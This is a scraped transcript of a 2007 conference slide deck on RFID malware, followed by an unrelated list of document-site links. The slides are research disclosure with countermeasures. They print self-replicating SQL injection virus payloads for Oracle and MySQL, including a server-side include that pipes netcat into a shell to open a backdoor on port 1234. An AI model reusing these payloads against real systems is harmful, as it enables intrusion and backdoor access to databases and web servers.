The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? •...

29
The Art of RFID Exploitation Melanie Rieback 20 June, 2007 FIRST

Transcript of The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? •...

Page 1: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

The Art of RFID Exploitation

Melanie Rieback

20 June, 2007FIRST

Page 2: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

What is RFID?

RFID = Radio Frequency Identification

Page 3: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Modern RFID Applications

Page 4: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

Page 5: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

Page 6: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

Page 7: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

Page 8: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

Page 9: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

What about security?

Page 10: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

VeriChips – Subdermal RFID

What about security?

Applied Digital's implantable chips do not employ cryptography as of yet. The system is nevertheless safe because its chips can only be read by the company's proprietary scanners.

http://www.siliconvalley.com/mld/siliconvalley/9154114.htm

- Scott Silverman, CEO of Applied Digital

Page 11: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Security Problems

Some Security Problems:

• Eavesdropping

• Tracking

• Tag cloning

• Denial of Service

• Unauthorized tag reading

Page 12: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Introduction to RFID Malware

What is RFID Malware?

• Low-level misuse of improperly formatted RFID tag data

• Three main kinds of RFID Malware:

1. RFID Exploits

2. RFID Worms

3. RFID Viruses

Page 13: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Typical RFID System Architecture

Sun Microsystems RFID Architecture http://www.sun.com/software/products/rfid/rfid_ds.gif

Management Interface(WWW)

Network Connection

RFID Readers + Tags

DatabaseData Filtering + Correlation SW

Glue Code

Page 14: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Our RFID Malware Test Platform

• Ethical / legal concerns

• We built our own test RFID middleware

• Test setup is modular

Page 15: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Types of RFID Exploits

Buffer overflows

• RFID emulators

• Small buffers

Page 16: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Types of RFID Exploits

Code Insertion

• Special characters

• Client-side scripting

• Server-side scripting

Page 17: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Types of RFID Exploits

SQL Injection

• Steal data

• Modify DB

• Denial of Service

• System commands

Page 18: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Worms

What is an RFID Worm?

• RFID worms propagate either via network or RFID tags

• RFID exploit that downloads/executes remote malware

• Often has a payload (modify filesystem / backdoor)

Page 19: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Application scenario:

• Arriving containers: scanned – emptied – refilled – relabeled

• Supermarket distribution center (with RFID tagged containers)

• Containers are then sent onwards to local supermarkets

Page 20: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Example Database Layout:

ContainerContents table

Pears234

OrangesApples123

OldContentsNewContentsTagID

Page 21: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

How the RFID virus works:

OldContents=Raspberries;UPDATE ContainerContents SET NewContents = NewContents || ``;[SQL Injection]'';

• SQL Injection attack:

[SQL Injection] = UPDATE ContainerContents SET NewContents = NewContents || ``;[SQL Injection]'';

• Filling in the SQL injection part:

Page 22: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Self-replication:

SELECT SQL_TEXT FROM v$sql WHERE INSTR(SQL_TEXT,'`')>0;

• ‘Get Current Query’ function:

Contents=Raspberries;UPDATE ContainerContents SET NewContents= NewContents || ';' || CHR(10) || (SELECT SQL_TEXT FROM v$sql WHERE INSTR(SQL_TEXT,'`')>0);

• A complete virus (Oracle SQL*Plus):

Page 23: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Example Virus: (Oracle/SSI)

• Here, SQL injection targets an INSERT query: Apples',NewContents=(select SUBSTR(SQL_TEXT,43,127) FROMv$sql WHERE INSTR(SQL_TEXT,'<!--#exec cmd=``netcat-lp1234|sh''-->')>0)--

• Payload uses a server-side include to open a backdoor on port 1234 of the web management platform

• Virus fits on a 1 kbit RFID tag (127 characters)

Page 24: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Self-replication with Quines:

• Quine = A program that prints its own source code:

char*f="char*f=%c%s%c;main() {printf(f,34,f,34,10);}%c"; main(){printf(f,34,f,34,10);}

• The classic example (in C):

• Introns = Quine data not used to output quine code

Page 25: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Example Quine Virus: (mySQL)

• This SQL injection virus is a quine:

';SET@a='UPDATE ContainerContents SET NewContents= concat(\'\\\';SET@a=\',QUOTE(@a),\';\',@a);-- <!--#exec cmd="regedit"-->';UPDATE ContainerContents SET NewContents=concat('\';SET@a=', QUOTE(@a),';',@a);-- <!--#exec cmd="regedit"-->

• Virus fits on a 2kbit RFID tag (233 characters)

Page 26: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

RFID Viruses

Targets that we’ve infected:

Page 27: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

How to Stop RFID Malware

Countermeasures:

• Sanitize input

• Error / bounds checking

• Disable unnecessary facilities • Limit permissions

• Use parameter binding

• Code review

• Segregate users (and servers)

Page 28: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

The Aftermath

Page 29: The Art of RFID Exploitation - FIRST · Introduction to RFID Malware What is RFID Malware? • Low-level misuse of improperly formatted RFID tag data • Three main kinds of RFID

Questions?


Intrusion Detection and Malware Analysis - Malware collection134.2.173.140/lehre/ws10/ids-malware/12-malware-collection.pdf · Intrusion Detection and Malware Analysis Malware collection

Intrusion Detection and Malware Analysis - Malware collection134.2.173.140/lehre/ws10/ids-malware/12-malware-collection.pdf · Intrusion Detection and Malware Analysis Malware collection

RFID PERSONNEL TRACKING - GAO RFID Inc.gaorfid.com/RFID-presentations/GAO-RFID-PEOPLE-TRACKING-DEC… · The GAO RFID Personnel Tracking System is an ... add RFID readers to the system

RFID PERSONNEL TRACKING - GAO RFID Inc.gaorfid.com/RFID-presentations/GAO-RFID-PEOPLE-TRACKING-DEC… · The GAO RFID Personnel Tracking System is an ... add RFID readers to the system

Malware & Anti-Malware

Malware & Anti-Malware

GAO RFID Access Control - RFID Systems - GAO RFID

GAO RFID Access Control - RFID Systems - GAO RFID

Sign placement guidance improperly CITATIONS …...IMPROPERLY PLACED SIGNS Definition Garage sale signs, political signs and signs selling real estate are occasionally placed improperly

Sign placement guidance improperly CITATIONS …...IMPROPERLY PLACED SIGNS Definition Garage sale signs, political signs and signs selling real estate are occasionally placed improperly

Indiana Improperly Claimed Federal Reimbursement for All

Indiana Improperly Claimed Federal Reimbursement for All

Improving accuracy of malware detection by …...FFRI, Inc. Background – malware and its detection 4 Increasing malware Targeted Attack (Unknown malware) Malware generators Obfuscators

Improving accuracy of malware detection by …...FFRI, Inc. Background – malware and its detection 4 Increasing malware Targeted Attack (Unknown malware) Malware generators Obfuscators

Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

Malware Analysis Analysis.pdf · Definisi Malware Analysis • What is a malware? • Malware (malicious software) ... Malware Sinkronisasi Token • Pelaku: Zeus Banking Trojan •

Stockare RFID Solutions - RFID Applications

Stockare RFID Solutions - RFID Applications

Intrusion Detection and Malware Analysis - Malware analysis · Intrusion Detection and Malware Analysis Malware analysis Pavel Laskov Wilhelm Schickard Institute for Computer Science

Intrusion Detection and Malware Analysis - Malware analysis · Intrusion Detection and Malware Analysis Malware analysis Pavel Laskov Wilhelm Schickard Institute for Computer Science

Windows Malware Firewall: Remove Windows Malware Firewall

Windows Malware Firewall: Remove Windows Malware Firewall

Malware Fails Best Bugs in Malware Felix Leder [Malware ... · 1 Malware Fails Best Bugs in Malware Felix Leder [Malware Detection Team] Felix.Leder@norman.com 5. desember 2011 malware

Malware Fails Best Bugs in Malware Felix Leder [Malware ... · 1 Malware Fails Best Bugs in Malware Felix Leder [Malware Detection Team] [email protected] 5. desember 2011 malware

Malware Slums: Measurement and Analysis of Malware on ...homepage.cs.uiowa.edu/~mshafiq/files/malware... · Malware Slums: Measurement and Analysis of Malware on Traffic Exchanges

Malware Slums: Measurement and Analysis of Malware on ...homepage.cs.uiowa.edu/~mshafiq/files/malware... · Malware Slums: Measurement and Analysis of Malware on Traffic Exchanges

Android Malware Exposed-Evolution of Android Malware

Android Malware Exposed-Evolution of Android Malware

RFID · 2015-10-12 · RFID RFID RFID RFID 1Identification systems 2Barcode 3Radio Frequency Identification 4Tag 5Reader. 4 RFID RIFD RFID RFID RFID RFID RFID ... Microsoft Word -

RFID · 2015-10-12 · RFID RFID RFID RFID 1Identification systems 2Barcode 3Radio Frequency Identification 4Tag 5Reader. 4 RFID RIFD RFID RFID RFID RFID RFID ... Microsoft Word -

Practical Malware Analysis: Ch 11: Malware Behavior

Practical Malware Analysis: Ch 11: Malware Behavior

Fresh produce RFID - tenacious-systems.com€¦ · Fresh produce RFID inventory & traceability RFID pallet control fruit & vegetable wholesaler RFID perishable affordable RFID Page

Fresh produce RFID - tenacious-systems.com€¦ · Fresh produce RFID inventory & traceability RFID pallet control fruit & vegetable wholesaler RFID perishable affordable RFID Page

LETTORE RFID LECTEUR RFID RFID READER LECTOR RFID … · ITALIANO pag. 02 / FRANÇAISpag. 05 / ENGLISH page 08 / ESPAÑOL pag. 11 LETTORE RFID LECTEUR RFID RFID READER LECTOR RFID

LETTORE RFID LECTEUR RFID RFID READER LECTOR RFID … · ITALIANO pag. 02 / FRANÇAISpag. 05 / ENGLISH page 08 / ESPAÑOL pag. 11 LETTORE RFID LECTEUR RFID RFID READER LECTOR RFID

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Malware and anti-malware (fun with Trojans) - Z. …z.cliffe.schreuders.org/edu/FS/Malware and anti-malware... · 2014-04-02 · Malware and anti-malware (fun with Trojans) ... with

Dubrovnik-bound Flight Crew's Improperly Flown Nonprecision ...

Dubrovnik-bound Flight Crew's Improperly Flown Nonprecision ...